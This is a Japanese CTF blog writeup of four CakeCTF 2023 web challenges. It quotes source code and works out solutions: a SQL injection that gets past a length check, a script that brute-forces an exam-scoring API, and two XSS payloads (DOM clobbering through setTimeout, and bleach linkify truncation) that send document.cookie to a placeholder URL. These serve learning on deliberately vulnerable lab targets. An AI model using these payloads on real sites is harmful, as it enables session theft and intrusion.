よーでんのブログ

One for All,All for わんわんお!

CakeCTF 2023 Web writeup

CakeCTF 2023

Country DB (web,warmup: 68pt / 246Solves)

Do you know which country code 'CA' and 'KE' are for?
Search country codes here!

Country codeで検索できるWebアプリっぽい。

Country DB - TOP

試しに JP と入れて Search を押してみると「Japan」と表示された。

Country DB - JP

init_db.py より、flagはデータベース内のflagというテーブル内にあることがわかる。おそらくSQL injectionで攻めるのだろう。

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
  code TEXT NOT NULL,
  name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

アプリのソースコードを見てみると、検索に自明なSQLiがあった。

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

ただ、search時に code の長さをチェックされている。

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

codeJP などのように2文字でないときに「Invalid country code」として強制終了するようになっている。
これだとSQLiは難しいように思えるが、パラメータをjsonとして受け取っているため配列を渡してあげることで code の長さを 2 にすることができる。

{
  "code": [
    "",
    ""
  ]
}

あとは任意の文字を入れれるので、実行されるSQLのsyntaxが崩れないようにクォートや括弧を入れてあげればunionで行ける。

{
  "code": [
    "') union select flag from flag;--",
    "a"
  ]
}

CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

TOWFL (web,cheat: 79pt / 171Solves)

Do you speak the language of wolves?
Prove your skill here!

試験を受けれるサイト。

TOWFL - TOP

「Start Exam」を押すと全く読めないテストが始まる。

TOWFL - Exam

ソースを読むと100点をとるとflagが得れることが判明。
1ページ10問が10ページで合計で100問あり、まともにやるのは厳しそう。

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}

試験開始時にランダムに問題を生成し、セッションの eid をキーにしてユーザ毎の問題を保持していることがわかる。

@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}
...
def new_challenge():
    """Create new questions for a passage"""
    p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
    qs, ans, res = [], [], []
    for _ in range(10):
        q = lorem.sentence().replace(".", "?")
        op = [lorem.sentence() for _ in range(4)]
        qs.append({'question': q, 'options': op})
        ans.append(random.randrange(0, 4))
        res.append(False)
    return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}

ページを切り替えた時のリクエストは /api/question/2 のようになっており、セッションの eid をもとにページに対応した問題を返す。

@app.route("/api/question/<int:qid>", methods=['GET'])
def api_get_question(qid: int):
    if qid <= 0 or qid > 10:
        return {'status': 'error', 'reason': 'Invalid parameter.'}
    elif 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Send challenge information without answers
    chall = json.loads(db().get(flask.session['eid']))[qid-1]
    del chall['answers']
    del chall['results']
    return {'status': 'ok', 'data': chall}

最後に、採点はセッションの eid とPOSTされた answers をもとに数えた点数を results に保存していく。

@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}

ここまで読んで、採点時に eid のリセット等が行われていないことに気付く。
同じセッションで /api/submit を何回でも送信可能であり、送信するたびに最新のもので results が更新されていくので、最大でも400回POSTすれば100点の回答が特定できる。

手動ではやりたくないので自動化。

import time

import requests

answers = [[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None]]
score = 0
cookie = {"session": "{your session}"}

for i in range(len(answers)):
    for j in range(len(answers[i])):
        for k in range(0,4):
            time.sleep(0.2)
            answers[i][j] = k
            requests.post("http://towfl.2023.cakectf.com:8888/api/submit", json=answers, cookies=cookie)
            res = requests.get("http://towfl.2023.cakectf.com:8888/api/score", cookies=cookie)
            resscore = res.json()["data"]["score"]
            if score != resscore:
                print(answers)
                score = resscore
                break
print(answers)

実行してしばらく待てば100点が取れる。
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}

AdBlog (web: 151pt / 39Solves)

Post your article anonymously here!
* Please report us if you find any sensitive/harmful posts.

Blog系。XSS Challengeかな。

AdBlog - TOP

送信すると以下。キュートな広告が入る。

AdBlog - blog

保存時は入力値そのまま保存で、表示時にbase64エンコードしてレンダリングする。

@app.route('/', methods=['GET', 'POST'])
def index():
    if flask.request.method == 'GET':
        return flask.render_template("index.html")

    blog_id = os.urandom(32).hex()
    title = flask.request.form.get('title', 'untitled')
    content = flask.request.form.get('content', '<i>empty post</i>')
    if len(title) > 128 or len(content) > 1024*1024:
        return flask.render_template("index.html",
                                     msg="Too long title or content.")

    db().set(blog_id, json.dumps({'title': title, 'content': content}))
    return flask.redirect(f"/blog/{blog_id}")

@app.route('/blog/<blog_id>')
def blog(blog_id):
    if not re.match("^[0-9a-f]{64}$", blog_id):
        return flask.redirect("/")

    blog = db().get(blog_id)
    if blog is None:
        return flask.redirect("/")

    blog = json.loads(blog)
    title = blog['title']
    content = base64.b64encode(blog['content'].encode()).decode()
    return flask.render_template("blog.html", title=title, content=content)

blog.html を読むと、AdBlocker系を検知して「オフにしてくれ」ってやつを実装しているっぽい。

    <div id="ad-overlay" class="overlay">
      <div class="overlay-content">
        <h3>AdBlock Detected</h3>
        <p>
          The revenue earned from advertising enables us to provide the quality content you're trying to reach on this blog. In order to view the post, we request that you disable adblock in plugin settings.
        </p>
        <button onclick="location.reload();">I have disabld AdBlock</button>
      </div>
    </div>
...
      <div id="ad" style="display: none;">
           <div style="margin: 0 auto;text-align:center;overflow:hidden;border-radius:0px;-webkit-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);-moz-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);background:#fff2d2;border:1px solid #000000;padding:1px;max-width:calc(100% - 16px);width:640px">
             <div class="imgAnim927"  style="display: inline-block;position:relative;vertical-align: middle;padding:8px">
               <img src="https://2023.cakectf.com/neko.png" style="max-width:100%;width:60px"/>
             </div>
             <div class="titleAnim927"  style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:32px;color:#241f31;font-weight:bold">CakeCTF 2023</div>
             <div  style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:20px;color:#241f31;font-weight:normal">is taking place!</div>
             <div class="btnAnim927"  style="display:inline-block;position:relative;vertical-align: middle;padding:16px" >
               <a target="_blank" href="https://2023.cakectf.com/"><input type="button" value="Play Now" style="margin:0px;background:#f5c211;padding:4px;border:2px solid #c01c28;color:#c01c28;border-radius:0px;cursor:pointer;width:80px" /></a></div>
           </div>
      </div>
...
    <script>
     let content = DOMPurify.sanitize(atob("{{ content }}"));
     document.getElementById("content").innerHTML = content;

     window.onload = async () => {
       if (await detectAdBlock()) {
         showOverlay = () => {
           document.getElementById("ad-overlay").style.width = "100%";
         };
       }

       if (typeof showOverlay === 'undefined') {
         document.getElementById("ad").style.display = "block";
       } else {
         setTimeout(showOverlay, 1000);
       }
     }
    </script>

入力値は DOMPurify.sanitize に通されるので自明なXSSは厳しそう。
「DOM-based XSSかな~」とJSに着目してみると気がかりな書き方が。

       if (typeof showOverlay === 'undefined') {
         document.getElementById("ad").style.display = "block";
       } else {
         setTimeout(showOverlay, 1000);
       }

showOverlaydetectAdBlock() の結果が true だったら function が代入されるわけだが、クローラー読んだ感じは AdBlock は関係ない。
代入されなかったときは undefined になるので広告が出るわけだが、HTML内にidがshowOverlayである要素があるときにバグる。

ブログ内容を以下のようにして保存すると、Uncaught SyntaxError: Unexpected identifier 'HTMLDivElement' というエラーが発生する。

<div id="showOverlay ">test</div>

mdn web docsからsetTimeoutを調べると、code を渡したときに eval のような動作をするらしい。

developer.mozilla.org

showOverlay がelementな時、文字に変換しようとして toString が呼ばれて [object HTMLDivElement] になったんだろうなと想像がつくので、toString 時に特殊な動作をする a タグで試してみるとエラーの内容が変化した。

Uncaught SyntaxError: Unexpected end of input

HTMLAreaElement に toString をするとURL全体が返るので、http://... のような文字列でSyntaxErrorが起きたっぽい。もうちょっとでいけそう・・・!

developer.mozilla.org

使えるプロトコルhttp, https だけじゃないので、mailto を試してみるといい感じに alert をポップできた。

<a id="showOverlay" href="mailto:alert(1)">test</a>

AdBlog - alert

後はURLをいい感じに組み立ててCookieを盗む。

<a id="url" href="{url}?">
<a href='mailto:fetch(url+document.cookie)' id="showOverlay">test</a>

これで保存したIDをadminに提出すればCookieが手に入る。
CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}

OpenBio2 (web: 200pt / 21Solves)

Share your Bio here!
* Please report us if you find any sensitive/harmful bio.

OpenBio2 - TOP

Name, Email, Bit 1, Bio 2 を設定できる。二つに分かれてるのがいかにも怪しい。

@app.route('/', methods=['GET', 'POST'])
def index():
    if flask.request.method == 'GET':
        return flask.render_template("index.html")

    err = None
    bio_id = os.urandom(32).hex()
    name = flask.request.form.get('name', 'Anonymous')
    email = flask.request.form.get('email', '')
    bio1 = flask.request.form.get('bio1', '')
    bio2 = flask.request.form.get('bio2', '')
    if len(name) > 20:
        err = "Name is too long"
    elif len(email) > 40:
        err = "Email is too long"
    elif len(bio1) > 1001 or len(bio2) > 1001:
        err = "Bio is too long"

    if err:
        return flask.render_template("index.html", err=err)

    db().set(bio_id, json.dumps({
        'name': name, 'email': email, 'bio1': bio1, 'bio2': bio2
    }))
    return flask.redirect(f"/bio/{bio_id}")

bio は 1001 文字まで入力可能。

@app.route('/bio/<bio_id>')
def bio(bio_id):
    if not re.match("^[0-9a-f]{64}$", bio_id):
        return flask.redirect("/")

    bio = db().get(bio_id)
    if bio is None:
        return flask.redirect("/")

    bio = json.loads(bio)
    name = bio['name']
    email = bio['email']
    bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000]
    bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000]
    return flask.render_template("bio.html",
                                 name=name, email=email, bio1=bio1, bio2=bio2)

表示時は bio の内容を bleach.clean して bleach.linkify したものの前10000文字をとる。
bleach.linkify を調べてみると、引数内のリンクっぽい文字列を a タグでリンクに変換する。

linkify の動作を追ってみると、 bleach/linkifier.py にURLのパースがある。

TLDS = """ac ad ae aero af ag ai al am an ao aq ar arpa as asia at au aw ax az
       ba bb bd be bf bg bh bi biz bj bm bn bo br bs bt bv bw by bz ca cat
       cc cd cf cg ch ci ck cl cm cn co com coop cr cu cv cx cy cz de dj dk
       dm do dz ec edu ee eg er es et eu fi fj fk fm fo fr ga gb gd ge gf gg
       gh gi gl gm gn gov gp gq gr gs gt gu gw gy hk hm hn hr ht hu id ie il
       im in info int io iq ir is it je jm jo jobs jp ke kg kh ki km kn kp
       kr kw ky kz la lb lc li lk lr ls lt lu lv ly ma mc md me mg mh mil mk
       ml mm mn mo mobi mp mq mr ms mt mu museum mv mw mx my mz na name nc ne
       net nf ng ni nl no np nr nu nz om org pa pe pf pg ph pk pl pm pn post
       pr pro ps pt pw py qa re ro rs ru rw sa sb sc sd se sg sh si sj sk sl
       sm sn so sr ss st su sv sx sy sz tc td tel tf tg th tj tk tl tm tn to
       tp tr travel tt tv tw tz ua ug uk us uy uz va vc ve vg vi vn vu wf ws
       xn xxx ye yt yu za zm zw""".split()
...
    return re.compile(
        r"""\(*  # Match any opening parentheses.
        \b(?<![@.])(?:(?:{0}):/{{0,3}}(?:(?:\w+:)?\w+@)?)?  # http://
        ([\w-]+\.)+(?:{1})(?:\:[0-9]+)?(?!\.\w)\b   # xx.yy.tld(:##)?
        (?:[/?][^\s\{{\}}\|\\\^`<>"]*)?
            # /path/zz (excluding "unsafe" chars from RFC 3986,
            # except for # and ~, which happen in practice)
        """.format(
            "|".join(sorted(protocols)), "|".join(sorted(tlds))
        ),
        re.IGNORECASE | re.VERBOSE | re.UNICODE,
    )

試してみると、4文字の入力で45文字になる。

>>> import bleach
>>> bleach.linkify("a.co")
'<a href="http://a.co" rel="nofollow">a.co</a>'

これらを利用して1000文字の入力で10000文字のbioを生成できれば、中途半端な部分で切り取られていい感じにXSSできそう。

ただリンクをa.co a.coのようにスペース区切りだと9200文字くらいにしかならないので「どうしようかな~」とガチャガチャ試していたら&&amp;になることが判明。 bleach.linkify("a.co&a.co&") で100文字になるので、これを繰り返して10000文字以上のbioを生成できる。

>>> len(bleach.linkify("a.co a.co "))
92
>>> len(bleach.linkify("a.co&a.co&"))
100

そしたらタグの微妙なところが10000文字目で切り捨てられるようにいい感じに調整して、最終的な入力は以下。

bio 1

<<a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co

bio 2

img src=x onerror="fetch('{url}?'+document.cookie)"

これで保存したIDをadminに提出すればCookieが手に入る。
CakeCTF{d0n'7_m0d1fy_4ft3r_s4n1tiz3}